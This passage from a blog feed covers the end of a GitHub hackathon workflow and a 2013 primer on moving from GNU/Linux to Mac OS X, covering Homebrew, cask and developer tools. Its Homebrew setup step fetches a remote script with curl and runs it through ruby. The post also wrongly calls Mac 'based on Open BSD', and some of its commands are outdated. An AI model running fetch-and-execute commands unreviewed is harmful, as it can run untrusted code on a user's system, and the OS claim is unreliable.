<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git commit -m <span style="color:#2aa198">&#34;&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Now, the changes have been committed locally to user1 branch, to push the changes back to remote server (github), use</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git push origin user1</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div></li>
<li>
<p>Now the changes have been pushed to user1 branch on github server. Merge them by creating a   
    
    
<a href="https://help.github.com/articles/using-pull-requests?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pull request</a> using master as base and user1 as branch to be merged.</p>
</li>
<li>
<p>Step 13 can fail master has changed since the last time user1 was updated with master (in step 5). A fix for that is to execute following command before doing git push (step 12).</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>git pull origin master</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>In case of merge conflicts, this pull will produce files which had merge conflicts, review them looking for conflict markers (&quot;&laquo;&laquo;&rdquo;, &ldquo;&raquo;&raquo;&rdquo;) and merge the code manually.
After than perform another commit using git commit and continue from step 12.</p>
</li>
</ol>
<p>Some more productivity tools focused on git</p>
<ol>
<li>My   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/_gitconfig?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">.gitconfig</a> file for colors, aliases and some other settings.</li>
<li>  
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/bashrc_includes/git-completion.bash?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">git auto completion</a> on command line.</li>
<li>  
    
    
<a href="https://github.com/tpope/vim-fugitive?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">vim-fugitive</a> for vim users.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/><category scheme="https://ashishb.net/tag/hackathons" term="hackathons" label="hackathons"/></entry><entry><title type="html">Mac OS X Primer: GNU/Linux -> Mac for software engineers</title><link href="https://ashishb.net/programming/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/programming/mac-os-app-translocation-and-android-studio-updates-failure/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS: App Translocation and Android Studio updates failure"/><link href="https://ashishb.net/programming/diagnosing-mac-apps-which-wont-open-error-10810/?utm_source=atom_feed" rel="related" type="text/html" title="Diagnosing Mac apps which won't open (error -10810)"/><link href="https://ashishb.net/programming/mac-os-x-primer-part-3-window-management/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer (Part 3) - Window Management"/><link href="https://ashishb.net/programming/mac-os-x-primer-part-2-migrating-from-gnulinux-to-mac-for-software-engineers/?utm_source=atom_feed" rel="related" type="text/html" title="Mac OS X Primer (Part 2): GNU/Linux -> Mac for software engineers"/><link href="https://ashishb.net/programming/github-101-for-hackathons/?utm_source=atom_feed" rel="related" type="text/html" title="Github 101 for hackathons"/><id>https://ashishb.net/programming/mac-101-migrating-from-gnulinux-to-mac-for-software-engineers/</id><author><name>Ashish Bhatia</name></author><published>2013-12-18T10:49:31+00:00</published><updated>2013-12-18T10:49:31+00:00</updated><content type="html"><![CDATA[<blockquote>Discover essential tips for engineers moving from GNU/Linux to Mac OS X. Learn software installation, CLI tools, and developer-friendly configurations.</blockquote><p>This blog post contains a collection of small tips for engineers migrating from GNU/Linux to Mac OS X for software development.
Note: In another 
<a href="/tech/the-weird-state-of-laptop-industry/">post</a>, I wrote about why there is a dearth of a good GNU/Linux laptop.   Mac is based on Open BSD which is similar to GNU/Linux but there are quite a few major differences from GNU/Linux.  My exposure to BSD is limited, so, I won&rsquo;t even try to draw a comparison here. Following are some things that I learned and have been useful.</p>
<h3 id="software-packages">Software Packages</h3>
<p>The default style of software installation is slightly weird on Mac. Most software comes in the form of a .dmg file (like .msi for Windows). One has to open the dmg and then drag it to the Applications directory. To uninstall, one can just delete the directory. OS X saves software packages in /Applications directory.</p>
<p>Here are some of my favorites,</p>
<ol>
<li>Finder (installed by default) - Mac version of Gnome   
    
    
<a href="https://wiki.gnome.org/action/show/Apps/Nautilus?action=show&amp;redirect=Nautilus&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nautilus</a> or Windows Explorer. Tip: Cmd + O - open the file while pressing &ldquo;enter&rdquo; edit the filename.</li>
<li>  
    
    
<a href="https://www.iterm2.com/#/section/home?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">iTerm2</a> - Terminal app</li>
<li>  
    
    
<a href="https://xquartz.macosforge.org/landing/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">XQuartz</a> - for running software that requires an X11 windowing system. For example, Wireshark requires it.</li>
<li>  
    
    
<a href="https://qsapp.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Quicksilver</a> - Universal search for Mac. After installing this app, use Cmd + space to trigger it and type anything from filename to application name</li>
<li>  
    
    
<a href="https://www.zipeg.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Zipeg</a> - Archive viewer</li>
<li>  
    
    
<a href="https://developer.apple.com/xcode/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Xcode</a> - Development Tools. IMHO, it is impossible to survive without this. A lot of other packages mentioned further depend on Xcode.</li>
<li>  
    
    
<a href="https://www.vmware.com/products/fusion/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">VMWare Fusion</a> - for running GNU/Linux virtual machines. It is not free. There are free alternatives like   
    
    
<a href="https://www.virtualbox.org/wiki/Downloads?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">VirtualBox</a>. Some combine this with   
    
    
<a href="https://www.vagrantup.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Vagrant</a>.</li>
<li>  
    
    
<a href="https://code.google.com/p/macvim/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MacVim</a> - For those who just want to use Vim without the terminal. I prefer Vim instead.</li>
<li>  
    
    
<a href="https://mplayerx.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MplayerX</a> - for watching offline videos</li>
</ol>
<p>Unlike apt-get on Ubuntu or yum on Fedora, Mac does not come with a command-line package manager. The solution is to use   
    
    
<a href="https://brew.sh/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">homebrew</a>. I have tried   
    
    
<a href="https://www.macports.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">MacPorts</a> as well and I feel homebrew is more polished.
To install homebrew</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ruby -e <span style="color:#2aa198">&#34;</span><span style="color:#719e07">$(</span>curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install<span style="color:#719e07">)</span><span style="color:#2aa198">&#34;</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now to install wget, which does not come by default on Mac machines, do</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew install wget</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>To look around for brew formulas related to GNU coreutils, do</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew search coreutils</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>By default, brew can only install command-line GNU/Linux-style tools.
To install a Mac app (.dmg packages), one can enable   
    
    
<a href="https://github.com/phinze/homebrew-cask?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">cask</a> via,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>brew install caskroom/cask/brew-cask</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, Google Chrome can be installed via,</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ brew cask install google-chrome
</span></span><span style="display:flex;"><span>...</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>I started using brew cask only recently and my setup can be found   
    
    
<a href="https://github.com/ashishb/dotfiles/blob/master/setup/setup_new_mac_machine.sh?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">here</a>.
For Python-based packages, one can use easy_install   
    
    
<a href="https://pypi.python.org/pypi/pip?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">pip</a>.
For Ruby-based packages use   
    
    
<a href="https://guides.rubygems.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">gem install</a>.
Default version of Ruby is old, upgrade using brew.
Try   
    
    
<a href="https://rvm.io/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">rvm</a> if your main job is to do Ruby based software development.
For   
    
    
<a href="https://nodejs.org/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">node.js</a>-based packages install npm (<code>brew install npm</code>).
I have not done any rigorous C/C++ development on Mac, so, I am not sure about how good it is.</p>
<h3 id="cli">CLI</h3>
<ol>
<li>
<p>Bash shipped with Mac is old, better to upgrade to the latest.</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
